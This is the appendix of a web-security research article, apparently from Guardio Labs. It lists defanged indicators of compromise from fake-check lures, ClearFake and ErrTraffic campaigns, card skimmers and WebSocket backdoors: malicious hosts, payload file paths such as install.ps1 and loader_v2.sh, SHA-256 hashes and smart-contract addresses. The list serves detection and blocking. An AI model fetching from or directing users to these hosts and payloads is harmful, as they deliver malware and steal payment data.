Conflict of interest. Guardio sells consumer security software. Its cloud browser was used for the live checks; no Guardio customer data was used in this study.

Data. The aggregate tables behind every chart and the scripts that produced every number are available to researchers and defenders on request. Per-store records are not published.

Selected indicators (defanged)

Fake checks: lure and payload hostskjhg[.]lol · ath.pleh[.]org · gentle-dew-e922.avsecurity.workers[.]dev (newusdt.png, /download/Pro*.dll) · fastly.jsdelivr[.]net/gh/Katy7684/ · fastly.jsdelivr[.]net/gh/sdedyk172/ · cdn.jsdelivr[.]net/gh/zor-876/futures-import@04e2419/llm · dc84406c-gei55kj16cf-d1fa3d9fc.fablegrid[.]cc/install.ps1 · swingerwives[.]com · escapeai[.]live/loader_v2.sh Payloads (SHA-256)791d0c5bedcb0aaba9079c4c080b9cde5f26ebbd9115b25950080364d2c11853 (newusdt.png with appended ZIP) · 9feba09c2bc8cadc4fc9d3d9b9684405508df14b5a6a05367d58bee0dcd14110 (r.bat) · 1aea52fb20ec5a405c3441c058ca9b6de1a6ba9e97542166d920bafc3c0db9dc (ProSettings.cfg) · 49184a580a94ea6d960c8d0b41bb082446aefd03a66d47dd607a84251ff13a63 (ProCore.dll) · e78b1dffebe3d96ffd596d40f37f9e830f4d6ce35892102c9cfac5e26a16f059 (ProCore_x86.dll) · 2ae5934befa552216204cf388ed9b7da322e20fb02b906168fc151c75d3002fb (Katy7684 PowerShell) · ece1c3ae56d3efc10bf2a660bf9753297c68bb34df3cb051d201a0498c759512 (install.ps1) · 9055ccf943f64385bef8670a2a6f2b80c311becc2116f365d517e3f798e50888 (injector) · fb8e92b0351f338a30d58cc2805f01597f04263e124ce5302d7773c104402bf8 (shellcode) · 8b7002989c12cda8f7da2387d6f1e7d4066565a43fd7fb36790d69621ad7a779 (build.zip) · 992075f181573ce3e283c69aaf4b2606ed2861a19c4866dd480feacfbcf1a235 (Gratefull.exe) ErrTraffic: command hosts (WUA format) and kit hostst-trustrest[.]com/govnologi/ · cosmical2049[.]com · copiose[.]org · interseq[.]at · latoem[.]biz · ncheck-brows[.]beer · hagosuro[.]lc · gfisoda[.]biz Smart contracts0xDF132E2893824e26Ec8ae8014b4f4FACD54eD67F · 0xA1decFB75C8C0CA28C10517ce56B710baf727d2e (BSC testnet, ClearFake stage 1) · 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2 · 0xfF9E792a3015A79340CDEc1847Ab0AA10560422a (Polygon, ErrTraffic) · 0xb29927B7D854b232D5E58CFc201866376E68C676 (Polygon, GzipGnaw sibling) · 0xd6Cc368F8b2C62b781Dc8407EB1c9eDE74949fA8 (Ethereum Sepolia) The resale kit (LA02)forecast-chaos[.]com · stand-medal[.]com · notion-brown[.]com · railroad-boot[.]com · great-basic[.]com · highlight-pyramid[.]com · basic-junior[.]com · cold-pyramid[.]com (September) · rehearsal-b[.]com · correspondabb[.]com · chordapple[.]com (October; some already in September) Card skimmers: collectors and loadershostpdf[.]co · zendlock[.]shop · ledon[.]pics · iresume[.]shop · jetmaster[.]wiki · globalstat[.]shop · gload[.]pics · hightraff[.]shop · homed[.]pics (g.php, r.php) · ymsi[.]my · phobosp[.]info · armedsurf[.]wiki · xincha[.]vip · habcd[.]cc · hiends[.]top · bidirect[.]shop · vsign[.]biz · dccome[.]app · resultip[.]cc · geotagcloud[.]shop · ministat[.]shop · hyperstat[.]shop · statmaster[.]shop (/cdn/) · streetmeriks[.]top · worldpixelwide[.]top · searchpixelstuff[.]top · variuspixel[.]top · fabulo[.]xyz (/api/accept-car) · google-api.hhos[.]net · lomivos[.]com · onlinestatus[.]site · gstatls[.]cc · pixelhaimer[.]top WebSocket and WebRTC backdoorsjinoapi[.]com · bugsolve[.]net · speed-rankeer-east[.]com · visscoregate[.]com · securities-cdn[.]com · socket-connect[.]com · medianinfer[.]com · iostatic[.]net · llvechatinc[.]com · api.securesflare[.]com · cloud.protectionflare[.]com · api.cloudservicecon[.]com (TURN on 443)

Hosts that appear to be other people’s hijacked websites are left out here, like the shops. On jsDelivr, GitHub and Cloudflare Workers, which also serve legitimate code, block the listed paths and subdomains, not the whole service.

Guardio Labs. Research conducted September to November 2026 on Common Crawl’s public archive and Guardio’s sandboxed cloud browser. Attacker code from the archive ran only in sealed sandboxes. We do not name the stores. The charts and headline numbers are generated from the evidence files by scripts.
{{component-quote-box}}
{{component-tips}}
{{component-block-quote}}
{{component-sidenote}}
This is some sitenote text
Header 1
Header 2
Header 3
Phishing and social engineering
Attackers manipulate individuals into divulging sensitive information or granting access to systems through deceptive emails, messages, or calls.
Endpoints, user accounts, email systems
Malware and ransomware
Malicious software is deployed to compromise systems, encrypt files, or exfiltrate data, often demanding ransom payments.
Cloud workloads, databases, storage systems
Credential theft and brute force attacks
Attackers steal or guess login credentials through phishing, keylogging, or automated brute-force attempts.
User accounts, IAM systems, cloud management consoles
Article sources
FAQs
No items found.
About the Author
Yuval Barkan
Yuval Barkan
VP Research & Innovation
Yuval Barkan is VP Research & Innovation at Guardio, leading research into the web and email attacks that reach everyday people.